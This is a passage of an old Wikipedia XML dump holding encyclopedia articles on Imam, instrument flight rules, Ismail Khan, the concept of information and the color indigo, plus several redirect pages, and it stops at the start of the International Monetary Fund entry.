'''''Imam'''''  ([[Arabic language|Arabic]]:  إمام ,[[Persian language| Persian]]: امام ) is an Arabic word meaning &quot;Leader&quot;. The ruler of a country might be called the Imam, for example. However, the capitalized term or ''The Imam'' ([[Arabic language|Arabic]]: ''' الإمام''') has important connotations in the [[Islam|Islamic]] tradition especially in [[Shia]] Beliefs .

__TOC__
==Prayer Leader==
The common everyday use of the word is for a person leading [[Salah|Muslim congregational prayers]] (salah). In this meaning the imam is not required to be a [[clergy|cleric]].

==Clerical &quot;Imams&quot;==
===Shia &quot;Imams&quot;===
In the [[Shia]] context, '''''[[Shia Imam|Imam]]''''' has a meaning more central to belief. 

The Shia believe that The Imam is someone who is able to lead mankind in all aspects of life. In addition they believe that an Imam is a perfect example in everything. According to Shia, an Imam is a leader that ''must'' be followed since he is appointed by [[Allah]] (GOD). 

The Shia interpretation is that the Quran clearly says that only God can appoint an ''Imam'' and no one else has the power to designate one. The incident of [[Ghadir Khom|Ghadeer-e-Khum]] is referenced as when Muhammad declared [[Ali]] as the leader of the community after him.

According to the Twelve-Imam [[Shiite]], Imam is a divine status like Prophethood. A Prophet can also be an Imam but not all Prophets are Imams. Since Prophet Muhammad is the last Prophet, there could be no Prophets after him and so the 12 Imams are not Prophets but only Imams. These 12 Imams are as great in a sense as all the previous prophets except Prophet Muhammed who is the greatest of all. Following is a listing of the rightful successors of [[Muhammad]], as recognized by (&quot;Twelver&quot;) Shias.  Each Imam was the son of the previous Imam, except for Husayn who was the brother of Hasan and Ali being Muhammad's cousin and son-in-law. The Shi'a argue that is in Honor of the Muhammed that God made the Imams of his lineage through [[Fatima Zahra|Fatima]] and it is not a simple inheritance like a kingdom. See [[Shia Imams]] for details.

# [[Ali|Ali ibn Abu Talib]] ([[600]]–[[661]])
# [[Hasan ibn Ali]] ([[625]]–[[669]])
# [[Husayn ibn Ali]] ([[626]]–[[680]])
# [[Ali ibn Husayn]] ([[658]]–[[713]]), also known as ''Zainul Abideen''
# [[Muhammad al-Baqir|Muhammad al Baqir]] ([[676]]–[[743]])
# [[Ja'far al-Sadiq|Jafar as Sadiq]] ([[703]]–[[765]])
# [[Musa al-Kazim|Musa al Kazim]] ([[745]]–[[799]])
# [[Ali al-Rida|Ali ar Rida]] ([[765]]–[[818]])
# [[Muhammad al-Taqi|Muhammad at Taqi]] ([[810]]–[[835]])
# [[Ali al-Hadi|Ali al Hadi]] ([[827]]–[[868]])
# [[Hasan al-Askari|Hasan al Askari]] ([[846]]–[[874]])
# [[Muhammad al-Mahdi|Muhammad al Mahdi]] ([[868]]–?))

The [[Ismailis]] trace a different line of Imams, branching at one of Husayn's descendants, [[Ismail bin Jafar]].  

The [[Zaiddiyah]] trace a different line, branching at Husayn's grandson, [[Zaid]].

===Sunni &quot;Imams&quot;===
The term is also used for a recognized religious leader or teacher in [[Islam]], often for the founding scholars of the four [[Sunni]] [[madhhab]]s, or schools of [[fiqh|religious jurisprudence ''(fiqh)'']]. For example, ''Imam [[Abu Hanifa]]''. Or the Imams of the sciences related to [[Hadith]] such as Imam Bukhari, Imam Muslim, Imam Abu Dawood. Or the heads of the Prophet's descendants in their times such as Imam Ali, Imam Hasan, Imam Hussein, and Imam [[Jafar Sadiq]].

==Theocratical &quot;Imams&quot;==
In a few historical cases, the title of imam was used for a [[de facto]] Muslim theocratic ruler, especially [[Sectarianism|sectarian]], sort of a mini-[[caliph]] or [[Mahdi]]; notably : 
* in northern [[Yemen]]
* in [[Oman]]
* in [[Chechnya]] and in Muslim regions of [[Russia]]

==See also==
*[[Shia Imam]]
* [[Women as imams]]

==External links==
*For a slightly more detailed description of the Shiite belief (and for the other names and titles of the twelve Imáms), see, for example, http://www.bahai-library.org/books/dawnbreakers/preface/prefislam.html .
*[http://philtar.ucsm.ac.uk/encyclopedia/islam/shia/index.html Graphical illustration of the Shia sects]
*[http://www.akhbari.com Akhbari sub-sect], a Shia school of thought; including Khomeini's
[[Category:Islam]]
[[Category:Imams|*Iman]]
[[Category:Arabic words]]

[[ar:إمام]]
[[da:Imam]]
[[de:Imam]]
[[es:Imán (religión)]]
[[eo:Imamo]]
[[fa:امام]]
[[fr:Imam]]
[[ko:이맘]]
[[id:Imam]]
[[it:Imam]]
[[he:אימאם]]
[[ka:იმამი]]
[[nl:Imam]]
[[ja:イマーム]]
[[no:Imam]]
[[pl:Imam]]
[[pt:Imam]]
[[ru:Имам]]
[[sk:Imám]]
[[sl:Imamiti]]
[[sv:Imam]]
[[th:อิมาม]]
[[tr:İmam]]
[[zh:阿訇]]</text>
    </revision>
  </page>
  <page>
    <title>Instrument flight rules</title>
    <id>15242</id>
    <revision>
      <id>39741376</id>
      <timestamp>2006-02-15T15:16:24Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <comment>{{mergefrom|Air traffic control#Instrument Flight Rules (IFR)}}</comment>
      <text xml:space="preserve">{{redirect|IFR}}

{{mergefrom|Air traffic control#Instrument Flight Rules (IFR)}}

'''Instrument flight rules (IFR)''' is a set of regulations and procedures for flying [[aircraft]] without the assumption that pilots will be able to see and avoid obstacles, terrain, and other air traffic; it is an alternative to [[visual flight rules]] (VFR), where the [[aviator|pilot]] is primarily or exclusively responsible for ''see-and-avoid''.

==Separation==

The most important concept of IFR flying is that it allows continued flight operations in reduced visibility, during which time the ability of a pilot to physically see and avoid collision with other aircraft or obstacles is severely reduced, or even impossible.  The distance that is achieved when avoiding obstacles or other aircraft is termed ''separation''. In [[controlled airspace]], [[air traffic control]] (ATC) separates IFR aircraft from obstacles and other IFR aircraft by applying separations based on time, distance, and altitude differences between aircraft, by relying either on [[radar]] or reports of aircraft positions traditionally sent as voice radio transmissions, but increasingly as electronic data exchanges. 
Generally, in most controlled airspaces, IFR aircraft require an ATC ''clearance'' for each part of the flight, typically providing a heading or route, altitude, and ''clearance limit'' (the farthest the aircraft can fly without a new clearance).   In very busy areas, typically near major airports, clearances may also be required for VFR aircraft, and ATC may also provide separation between IFR and VFR aircraft or even between VFR aircraft. In uncontrolled airspace, IFR aircraft do not require clearances, and they separate themselves from each other by using charted minimum altitudes to avoid terrain and obstacles, standard cruising altitudes to avoid aircraft flying in different directions, and radio reports over mandatory locations.  In the United States and Canada, all airspace from 18,000 to 60,000 feet (5,586 to 18,288 meters) is designated as ''Class A'', requiring all aircraft to operate under IFR.

==Weather==

One advantage of IFR is the ability to fly an aircraft in [[instrument meteorological conditions]] (IMC), weather conditions that do not meet the minimum visibility requirements for VFR. In such conditions the pilot will control the attitude of the aircraft by watching the [[flight instruments]], and will rely entirely on ATC for separation (though large airliners and, increasingly, smaller aircraft now carry their own terrain- and collision-avoidance systems such as [[TCAS]]).  It is important, however, not to confuse IFR with IMC: the vast majority of IFR flying is done under [[visual meteorological conditions]] (VMC), and in many cases, the pilot will be controlling the aircraft primarily by outside visual references, as with VFR.  Under VMC in some types of airspace, ATC will not provide separation between IFR and VFR aircraft (in fact, in areas with limited radar coverage, ATC may not know the location of VFR aircraft), so pilots are responsible for seeing and avoiding other traffic just as they would be under VFR.

The pilot will usually navigate by using electronic navigation equipment and, in areas of radar coverage, by receiving ''vectors'' (compass headings assigned by ATC).  While weather conditions can be worse than those allowed for VFR flight, there are still minimum conditions that must be present in order for the aircraft to take off or land. These will vary according to the type of electronic navigation aids available, the location and height of terrain and obstructions in the vicinity of the airport, and according to qualifications of the crew and aircraft.

==Procedures==

There are three stages to an IFR flight: departure, en route, and approach.  For each stage, there are standard, published procedures to allow IFR aircraft to move in a safe, orderly way, from the moment the wheels leave the runway to the moment they touch down again. These procedures also allow an IFR aircraft to complete a flight predictably in the case of lost communications with ATC (''lost-comms''), with default altitudes and headings for every stage. 

Departures are described by simple [[departure procedure]]s (DP), normally providing an initial heading and altitude, or (for busier airports) by [[standard instrument departure]]s (SID) providing more detailed instructions, often accompanied by diagrams or charts.  En route flight is described by IFR charts showing navigation aids, fixes, and standard routes called ''[[Airway (aviation)|airways]]'' with minimum safe altitudes for each segment.  Approaches are described by ''terminal procedures'' (often called [[approach plate]]s), describing a series of steps and segments to make the transition from en route flight to a position where the aircraft can complete a landing visually (often from a low altitude and close to the airport).  All instrument approaches have minimum altitudes: if it is not possible to complete a landing visually from the specified altitude (''decision height'') and location, the pilot must commence a ''missed approach'' and return to en route flight.  Busy airports may also have [[standard terminal arrivals]] (STARS) providing an additional connection between en route flight and the final approach.

==Qualifications==

To fly under IFR, a pilot must have an [[instrument rating]], and must meet recency of experience requirements. In the United States, these recency of experience requirements include six [[instrument approach]]es, [[navaid]] intercepting and tracking, and [[hold (aviation)|holding]] procedures in the past six months.  The aircraft must also be equipped and type-certified for instrument flight.

The UK differs from pilot licensing practice in the U.S.  In the UK any pilot can decide to which flight rules he adheres given that the meteorological conditions for those rules are met.  The pilot does need an instrument rating to fly in instrument meteorological conditions, and under IFR in controlled airspace.  The upshot of this is that non-instrument qualified pilots can elect to fly under IFR in visual meteorological conditions outside controlled airspace.  Compared to the rest of the world the UK's flight crew licensing regime is somewhat unusual in this respect by licensing for meteorological conditions and airspace, rather than flight rules.

== See also ==
* [[Visual flight rules]] (VFR)
* [[VHF omnidirectional range|VHF Omni-directional Range]] (VOR)
* [[Instrument Landing System]] (ILS)
* [[Non-directional beacon|Non-Directional Beacon]] (NDB)
* [[Distance Measuring Equipment]] (DME)
* [[Global Positioning System]] (GPS)

[[Category:Aviation]]

[[cs:Let podle přístrojů]]
[[de:Instrumentenflug]]
[[fr:Vol aux instruments]]
[[nl:Instrument flight rules]]
[[ja:計器飛行方式]]
[[pt:IFR]]</text>
    </revision>
  </page>
  <page>
    <title>In Vitro Fertilisation</title>
    <id>15243</id>
    <revision>
      <id>15912727</id>
      <timestamp>2002-06-17T23:13:17Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>moving</comment>
      <text xml:space="preserve">#REDIRECT [[In vitro fertilisation]]</text>
    </revision>
  </page>
  <page>
    <title>In Vitro Fertilization</title>
    <id>15244</id>
    <revision>
      <id>15912728</id>
      <timestamp>2002-08-24T11:25:27Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>fixing indirect redirect</comment>
      <text xml:space="preserve">#REDIRECT [[In vitro fertilisation]]</text>
    </revision>
  </page>
  <page>
    <title>Ismail Khan</title>
    <id>15245</id>
    <revision>
      <id>40364461</id>
      <timestamp>2006-02-20T01:58:46Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Ismail Khan''' (b. [[1946]]) was the governor of [[Herat province]] in [[Afghanistan]]. During the [[Soviet invasion of Afghanistan]] of [[1979]], Khan was an officer in the [[Afghanistan]] army. He rose to the rank of a [[Mujahedin]] commander during his tenure in the army. He has been described as &quot;shrewd, short, and with an elfin smile.&quot; His human rights record as governor is said to be decent when compared to other governors, although his record is reportedly still questionable. However, after the airing in January [[2004]] on television of women singing, Khan sided with the [[Afghan Supreme Court]] opinion that such broadcasts should be banned.

After becoming governor of Herat the first time, he was forced to flee to [[Iran]] after the [[Taliban]] took over authority in [[1996]]. Two years later, while organising opposition to the Taliban, he was handed over to the Taliban by old adversaries. Then in March [[2000]] he escaped and worked as a low-profile member of the [[Afghan Northern Alliance]]. 

During the [[Afghan Transitional Administration]], Khan was military commander of western Afghanistan, until [[August 13]], [[2003]] when President [[Hamid Karzai]] decreed that officials could no longer hold both military and civil posts. In [[September 2004]] he was also removed from the post of governor for Herat province; although Khan was offered the post of minister of mines and industry in the central government, he declined. Several people were reportedly killed during protests against his removal.

He boasts a provincial army of 25,000 men.

On [[March 21]], [[2004]], an assassination attempt against Khan, allegedly ordered by General [[Abdul Zaher Nayebzadah]], was reported to have failed. Shortly thereafter, [[Mirwais Sadeq]] &amp;mdash; Khan's son and Afghanistan's civil aviation minister &amp;mdash; was killed by Nayebzadah's forces, and severe fighting broke out between the two factions in Herat. After hours of fighting in which about 100 people were reported killed, Khan's forces claimed to be once again in control of the city.

Khan is one of the most religiously conservative warlords. He was slower than other leaders in lifting the restrictions imposed by the Taliban, and has retained many of them. Some of his men have been known to carry out &quot;virginity tests&quot;, in Herat's public areas, on women found walking alone. He is widely suspected of withholding much of the customs duties collected at the Iranian border from the central government. Khan maintains close ties with the [[Iranian government]].

==External links==
* [http://news.bbc.co.uk/1/hi/world/south_asia/2535261.stm Profile: Ismail Khan]; BBC
* ISBN 0586087060

[[Category:1946 births|Khan, Ismail]]
[[Category:Living people|Khan, Ismail]]

[[fa:&amp;#1575;&amp;#1587;&amp;#1605;&amp;#1575;&amp;#1593;&amp;#1740;&amp;#1604;&amp;#8204;&amp;#1582;&amp;#1575;&amp;#1606;]]
[[ja:イスマーイール・ハーン]]</text>
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  <page>
    <title>Improvisational theater</title>
    <id>15247</id>
    <revision>
      <id>15912730</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Improvisational theatre]]
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  </page>
  <page>
    <title>Information</title>
    <id>15248</id>
    <revision>
      <id>42022919</id>
      <timestamp>2006-03-03T07:27:54Z</timestamp>
      <contributor>
        <username>Mjb</username>
        <id>2843</id>
      </contributor>
      <comment>/* See also */ +[[Abstraction]], which should probably be worked into the 'Information is not data' prose, but can be a See Also for now, no?</comment>
      <text xml:space="preserve">''&quot;Info&quot; redirects here; for other uses, see [[.info]], [[NFO]] and [[Dagbladet Information]].''
----
'''Information''' as a concept bears a diversity of meanings, from everyday usage to technical settings.  Generally speaking, the concept of information is closely related to notions of [[communication]], [[constraint]], [[control system|control]], [[data]], [[form]], [[instruction]], [[knowledge]], [[meaning]], [[stimulation|mental stimulus]], [[pattern]], [[perception]], and [[knowledge representation|representation]].

Many people speak about the [[Information Age]] as the advent of the [[Knowledge Age]] or [[knowledge society]], the [[information society]], and [[Information technology|information technologies]], and even though [[information science]] and [[computer science]] are often in the spotlight, the word &quot;information&quot; is often used without careful consideration of the various meanings it has acquired.

== Information as a message ==

'''Information''' is the state of a system of interest (curiosity). Message is the information materialized.

'''Information''' is a [[message]] from a [[sender]] to one or more receivers. If information is viewed in this manner, it does not have to be accurate. It may be a truth or a lie, or just the sound of a kiss. Even a disruptive noise used to inhibit the flow of communication and create misunderstanding would in this view be a form of information.  This model assumes there is a definite sender and at least one receiver. Many refinements of the model assume the existence of a common language understood by the sender and at least one of the receivers. An important variation identifies information as that which would be [[communication|communicated]] by a message if it was sent from a sender to a receiver capable of understanding the message. However, in requiring the existence of a definite sender, the &quot;information as a message&quot; model does not attach any significance to the idea that information is something that can be extracted from an environment, e.g., through observation, reading or measurement. 

=== Measuring information ===

The view of information as a message came into prominence with the publication in 1948 of an influential paper by [[Claude Shannon]], &quot;[[A Mathematical Theory of Communication]].&quot;  This paper provides the foundations of [[information theory]] and endows the word ''information'' not only with a technical meaning but also a measure. If the sending device is equally likely to send any one of a set of &lt;math&gt;N&lt;/math&gt; messages, then the preferred measure of &quot;the information produced when one message is chosen from the set&quot; is the base two [[logarithm]] of &lt;math&gt;N&lt;/math&gt; (This measure is called '''[[self-information]]'''). In this paper, Shannon continues:

:''The choice of a logarithmic base corresponds to the choice of a unit for measuring information. If the base 2 is used the resulting units may be called binary digits, or more briefly [[bit]]s, a word suggested by [[John Tukey|J. W. Tukey]]. A device with two stable positions, such as a relay or a flip-flop circuit, can store one bit of information. N such devices can store N bits ...'' [The Bell System Technical Journal, Vol. 27, p. 379, (July 1948).]

A complementary way of measuring information is provided by [[Algorithmic information theory]]. In brief, this measures the information content of a list of symbols based on how predictable they are, or more specifically how easy it is to generate the list. The sequence below would have a very low algorithmic information measurement since it is a very predictable pattern, and as the pattern continues the measurement would not change. Shannon information would give the same information measurement for each symbol, since they are [[statistical randomness|statistically random]], and each new symbol would increase the measurement.

: 123456789101112131415161718192021

It is important to recognise the limitations of Shannon's work from the perspective of human meaning. When referring to the meaning content of a message Shannon noted ''“Frequently the messages have '''meaning”…''' these semantic aspects of communication are irrelevant to the engineering problem.  The significant aspect is that the actual message is one selected '''from a set of possible messages'''”'' (emphasis in original).  

In Information Theory signals are part of a process, not a substance, they do something, they do not contain any specific meaning. Combining [[Algorithmic information theory]] and Information Theory we can conclude that the most random signal contains the most information as it can be interpreted in any way and cannot be compressed.

Micheal Reddy noted that ''“signals” of the mathematical theory are “patterns that can be exchanged”.  There is no message contained in the signal, the signals covey the ability to select from a set of possible messages.”''  In information theory “the system must be designed to operate for each possible selection, not just the one which will actually be chosen since this is unknown at the time of design.” 
 
See also [[lexicographic information cost]].

== Information as a pattern ==

Information is any represented [[pattern]]. This view assumes neither accuracy nor directly communicating parties, but instead assumes a separation between an object and its representation, as well as the involvement of someone capable of understanding this relationship. This view seems therefore to require a conscious [[mind]]. Consider the following example: [[economic statistics]] represent an [[Economics|economy]], however inaccurately. What are commonly referred to as [[data]] in [[computing]], [[statistics]], and other fields, are forms of information in this sense. The [[electromagnetism|electro-magnetic]] patterns in a [[computer network]] and connected [[device]]s are related to something other than the pattern itself, such as [[text]] to be displayed and [[Computer keyboard|keyboard]] input. [[Signal (information theory)|Signal]]s, [[sign]]s, and [[symbol]]s are also in this category.  On the other hand, according to [[semiotics]], data is symbols with certain syntax and information is data with a certain semantic.  [[Painting]] and [[drawing]] contain information to the extent that they represent something such as an assortment of objects on a table, a [[profile]], or a [[landscape]]. In other words, when a pattern of something is transposed to a pattern of something else, the latter is information. This type of information still assumes some involvement of conscious mind, of either the entity constructing the representation, or the entity interpreting it. 

If you accept that information can be defined merely as a pattern, does it not follow that neither [[utility]] nor meaning are necessary components of information? Surely a distinction must be made between raw unprocessed data and information which possesses utility, [[value]] or some quantum of [[meaning]]. Information may indeed be characterised as a pattern; it is a [[necessary]] condition, but not [[sufficient]]. For example a telephone book follows a specific pattern: name, address , telephone number. 

An individual entry does not become &quot;informative&quot; in some sense unless and until it possesses some degree of utility, value or meaning. For example, someone might look up a girlfriend's number, might order a take away etc. The vast majority of numbers will never be construed as &quot;information&quot; in any meaningful sense. The gap between data and information is only closed by a behavioural bridge whereby some value, utility or meaning is added to transform mere data or pattern into information.

When one constructs a representation of an object, one can selectively extract from the object ([[sampling]]) or use a [[system]] of signs to replace ([[encode|encoding]]), or both. The sampling and encoding result in representation. An example of the former is a &quot;sample&quot; of a product; an example of the latter is &quot;verbal description&quot; of a product. Both contain information of the product, however inaccurate. When one interprets representation, one can predict a broader pattern from a limited number of observations (inference) or understand the relation between patterns of two different things ([[decode|decoding]]). One example of the former is to sip a [[soup]] to know if it is spoiled; an example of the latter is examining footprints to determine the animal and its condition. In both cases, information sources are not constructed or presented by some &quot;sender&quot; of information. To repeat, information in this sense does not assume direct communication, but it assumes involvement of some conscious mind.

Regardless, information is dependent upon, but usually unrelated to and separate from, the medium or media used to express it. In other words, the position of a theoretical series of bits, or even the output once interpreted by a computer or similar device, is unimportant, except when someone or something is present to interpret the information. Therefore, a quantity of information is totally distinct from its medium.

== Information as sensory input ==

Often information is viewed as a type of [[input]] to an [[organism]] or designed [[device]]. Inputs are of two kinds. Some inputs are important to the function of the organism (for example, food) or device ([[energy]]) by themselves. In his book ''Sensory Ecology,'' Dusenbery&lt;!-- who? --&gt; called these causal inputs. Other inputs (information) are important only because they are associated with causal inputs and can be used to predict the occurrence of a causal input at a later time (and perhaps another place). Some information is important because of association with other information but eventually there must be a connection to a causal input. In practice, information is usually carried by weak stimuli that must be detected by specialized sensory systems and amplified by energy inputs before they can be functional to the organism or device. For example, light is often a causal input to plants but provides information to animals. The colored light reflected from a flower is too weak to do much photosynthetic work but the visual system of the bee detects it and the bee's nervous system uses the information to guide the bee to the flower, where the bee often finds nectar or pollen, which are causal inputs, serving a nutritional function.

Information is any type of sensory input. When an [[organism]] with a [[nervous system]] receives an input, it transforms the input into an electrical signal. This is regarded information by some. The idea of representation is still relevant, but in a slightly different manner. That is, while [[abstract painting]] does not represent anything concretely, when the viewer sees the painting, it is nevertheless transformed into electrical signals that create a representation of the painting. Defined this way, information does not have to be related to truth, communication, or representation of an object. [[Entertainment]] in general is not intended to be informative. [[Music]], the [[performing arts]], [[amusement park]]s, works of [[fiction]] and so on are thus forms of information in this sense, but they are not forms of information according to the previous definitions above. Consider another example: food supplies both nutrition and taste for those who eat it. If information is equated to sensory input, then nutrition is not information but taste is.

== Information as an influence which leads to a transformation ==

Information is any type of pattern that influences the formation or transformation of other patterns. In this sense, there is no need for a conscious mind to perceive, much less appreciate, the pattern. Consider, for example, [[DNA]]. The sequence of [[nucleotide]]s is a pattern that influences the formation and development of an organism without any need for a conscious mind.  [[Systems theory]] at times seems to refer to information in this sense, assuming information does not necessarily involve any conscious mind, and patterns circulating (due to [[feedback]]) in the system can be called information. In other words, it can be said that information in this sense is something potentially perceived as representation, though not created or presented for that purpose.

When [[Marshall McLuhan]] speaks of [[Medium|media]] and their effects on human cultures, he refers to the structure of artifacts that in turn shape our behaviors and mindsets. Also, [[pheromone]]s are often said to be &quot;information&quot; in this sense.

In 2003, J. D. Bekenstein claimed there is a growing trend in [[physics]] to define the physical world as being made of information itself (and thus information is defined in this way). 

See the section below on information as a property in physics.  (Also see [[Gregory Bateson]].)

== Information as a property in physics ==
''Main article: [[Physical information]]''

Information has a well defined meaning in [[physics]]. Examples of this include the phenomenon of [[quantum entanglement]] where particles can interact without reference to their separation or the speed of light. Information itself cannot travel faster than light even if the information is transmitted indirectly. This could lead to the fact that all attempts at physically observing a particle with an &quot;entangled&quot; relationship to another are slowed down, even though the particles are not connected in any other way other than by the information they carry.

Another link is demonstrated by the [[Maxwell's demon]] thought experiment.  In this experiment, a direct relationship between information and another physical property, [[entropy]], is demonstrated.  A consequence is that it is impossible to destroy information without increasing the entropy of a system; in practical terms this often means generating heat.  Thus, in the study of [[logic gates]], the theoretical lower bound of thermal energy released by an ''AND gate'' is more  than for the ''NOT gate'' (because information is destroyed in an ''AND gate'' and simply converted in an ''NOT gate''). Physical information is of particular importance in the theory of [[quantum computers]].

== Etymology ==
According to the [[Oxford English Dictionary]], the earliest historical meaning of the word ''information'' in [[English language|English]] was the act of ''informing'', or giving form or shape to the mind, as in education, instruction, or training. A quote from 1387: &quot;Five books come down from heaven for information of mankind.&quot; It was also used for an ''item'' of training, ''e.g.'' a particular instruction.  &quot;Melibee had heard the great skills and reasons of Dame Prudence, and her wise informations and techniques.&quot; (1386)

The English word was apparently derived by adding the common &quot;noun of action&quot; ending &quot;''-ation''&quot; (descended through French from Latin &quot;''-tio''&quot;) to the earlier verb ''to inform'', in the sense of to give form to the mind, to discipline, instruct, teach: &quot;Men so wise should go and inform their kings.&quot; (1330)  ''Inform'' itself comes (via French) from the Latin verb ''informare'', to give form to, to form an idea of. Furthermore, Latin itself already even contained the word ''informatio'' meaning concept or idea, but the extent to which this may have influenced the development of the word ''information'' in English is unclear.

As a final note, the ancient Greek word for ''form'' was eidos, and this word was famously used in a technical philosophical sense by [[Plato]] (and later Aristotle) to denote the ideal identity or essence of something (see [[The Forms]]).

== Information is not data ==
The words, ''information'' and ''[[data]]'', are used interchangeably in many contexts.  This may lead to their confusion.  However, they are not synonyms. 

Often data is defined as raw facts while information is processed data (as is the case in most of the article below). Another distinction that is made is that information is the things that we know and data is the representation of the information. As an example, we may be thinking about a favorite niece's age, who is four. We would tend to represent that with Arabic numerals (4), but we could represent it using Roman numerals (IV), tick marks (||||), or any other way we agree on. The information has not changed in each case, although the data has. Note that we tend to think of information in terms of declarative [[knowledge]]. That is, the facts we know such as a temperature, an age, etc. Information can also be skills and things we know how to do, which is called procedural knowledge.

An important consequence of this distinction is that information has [[meaning]] (i.e.: can inform), while data does not. Computers work with data (representations) and not information (meanings). This is why a computer will calculate the average employee number even though it is meaningless.

Note that one person's information may be another's data depending on whether the recipient understand the data (or its context). Also, when someone (or some&lt;em&gt;thing&lt;/em&gt;, such as a [[computer system]]) is given a fact, it may only be data, but when they make sense of (or interpret) it, often by bringing it together with other facts, it may become information.

Information is usually thought of as, in a strict sense, a subset of data.  However, sometimes the reverse interpretation can be taken (such as describing data as &quot;raw information&quot;).  Data may also have a more specific sense in some fields (e.g.: referring to a certain type or set of &lt;em&gt;information&lt;/em&gt; used in that context).   When used pragmatically in everyday speech, it usually specifically refers to collections of numbers, or, in a wider sense, to any content not of relevance or interest to the speaker, or not (yet) understood by the speaker themselves in particular.

Data is unstructured, lacks context and may not be relevant to the recipient. When data is correctly organized, filtered and presented with context it can become information because it then has &quot;value&quot; to the recipient.&lt;!-- rm? --&gt;

Data which is not information (i.e.: has not yet informed or been given a context) is often called '''raw data'''.
&lt;!-- add link to content and explain difference to? --&gt;

== References ==
* Bekenstein, Jacob D. (2003, August). Information in the [[holographic principle|holographic universe]]. ''Scientific American''. Retrieved from http://www.referencenter.com

== See also ==
&lt;!-- {{wikibookspar||Useless Information}} removed by User:Joeblakesley as it has no content ATM --&gt;
{{col-begin}}
{{col-break}}
* [[Information entropy]]
* [[Information geometry]]
* [[Information highway]]
* [[Information mapping]]
* [[Information overload]]
* [[Information processing]] 
* [[Information processor]]
* [[Information technology]]
* [[Information theory]]
* [[Abstraction]]
* [[Algorithmic information theory]]
{{col-break}}
* [[Classified information]]
* [[Complexity]]
**[[Complex system]]
**[[Complex adaptive system]]
* [[Cybernetics]]
* [[Fisher information]]
* [[Free Information Infrastructure]]
* [[Freedom of information]]
* [[Library and Information Science]]
* [[Medium]]
* [[Observation]]
{{col-break}}
* [[Physical information]]
* [[Prediction]]
* [[Propaganda model]]
* [[Receiver operating characteristic]]
* [[Satisficing]]
* [[Shannon–Hartley theorem]]
**[[Claude Shannon]]
**[[Ralph Hartley]]
* [[Systems theory]]
{{col-end}}

== External links ==
* [http://isria.com International Security Research &amp; Intelligence Agency], a consulting company specialized in information and international security-related issues that provides internet users with an [http://osint.isria.com Open Sources Center].
* [http://plato.stanford.edu/entries/information-semantic/ Semantic Conceptions of Information] Review by Luciano Floridi for the [[Stanford Encyclopedia of Philosophy]]
* [http://pespmc1.vub.ac.be/ASC/NEGENTROPY.html Principia Cybernetica entry on negentropy]
* [http://www.princeton.edu/~pear/IU.pdf Information &amp; Uncertainty in Remote Perception Research]
* [http://www.princeton.edu/~pear/JahnATpages.pdf Information, Consciousness &amp; Health]

[[Category:Information| ]]
[[Category:Cybernetics]]
[[Category:Information technology]]

[[ar:معلومات]]
[[be:Інфармацыя]]
[[bg:&amp;#1048;&amp;#1085;&amp;#1092;&amp;#1086;&amp;#1088;&amp;#1084;&amp;#1072;&amp;#1094;&amp;#1080;&amp;#1103;]]
[[ca:Informació]]
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[[fr:Information]]
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[[io:Informo]]
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[[lt:Informacija]]
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[[nl:Informatie]]
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[[no:Informasjon]]
[[pl:Informacja]]
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[[ro:Informa&amp;#355;ie]]
[[ru:Информация]]
[[simple:Information]]
[[sk:Informácia]]
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[[fi:Tieto]]
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[[zh:&amp;#20449;&amp;#24687;]]</text>
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    <title>Indus Valley Civilisation</title>
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      <text xml:space="preserve">#redirect [[Indus Valley Civilization]]</text>
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  <page>
    <title>Indigo</title>
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      <id>41122193</id>
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        <username>Lefty</username>
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      <comment>normalize cmyk to [0-100]</comment>
      <text xml:space="preserve">:''This article is about the color. For other meanings, see [[Indigo (disambiguation)]].''
{{infobox color|
 title=Indigo (closest in [[gamut]])|textcolor=white|
 hex=4B0082|
 r= 75|g=  0|b=130|
 c= 42|m=100|y=  0|k= 49|
 h=275|s=100|v= 51
}}
'''Indigo''' is the color of [[light]] between 440 to 420 [[nanometre]]s in [[wavelength]], placing it between [[blue]] and [[violet (color)|violet]]. Like many other colors ([[Orange (colour)|orange]] and [[violet (color)|violet]] are the most well-known), it gets its name from an object in the natural world - the plant named ''[[indigo plant|indigo]]'' once used for dyeing cloth (see also [[Indigo dye]]). 

Indigo is neither an additive [[primary color]] nor a subtractive primary color. It was named and defined by [[Isaac Newton]] when he divided up the [[optical spectrum]] (which is a continuum of frequencies). He named [[seven]] colors specifically to link them with the (known) [[planet]]s, [[day]]s of the [[week]], and other lists that had seven items. 

The [[human]] [[eye]] is relatively insensitive to indigo's frequencies, and some otherwise well-sighted people cannot distinguish indigo from blue and violet. For this reason some commentators including [[Isaac Asimov]] have suggested that indigo should not be regarded as a color in its own right but merely as a shade of blue or violet.


== See also ==
*[[List of colors]]

[[da:Indigo]]
[[de:Indigo (Farbton)]]
[[es:Añil]]
[[fr:indigo]]
[[he:אינדיגו]]
[[id:Indigo]]
[[ja:インディゴ]]
[[nl:indigo (kleur)]]
[[sl:Indigo]]
[[sv:Indigo]]
[[vi:Chàm]]

[[Category:Shades of violet]]
[[Category:Optical spectrum]]
{{EMSpectrum}}
{{color-stub}}</text>
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  <page>
    <title>International Monetary Fund</title>
    <id>15251</id>
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      <id>42126213</id>
      <timestamp>2006-03-04T00:11:25Z</timestamp>
      <contributor>
        <username>Catquas</username>
        <id>899948</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">:'' '''IMF''' redirects here. For other meanings of IMF see [[IMF (disambiguation)]] ''

[[Image:imf_logo.png|thumb|180px|right|The logo of the International Monetary Fund (IMF)]]
The '''International Monetary Fund''' ('''IMF''') is the [[international organization]] entrusted with overseeing the [[global financial system]] by monitoring [[exchange rate]]s and [[balance of payments]], as well as offering technical and financial assistance when asked.

== Organization and purpose ==
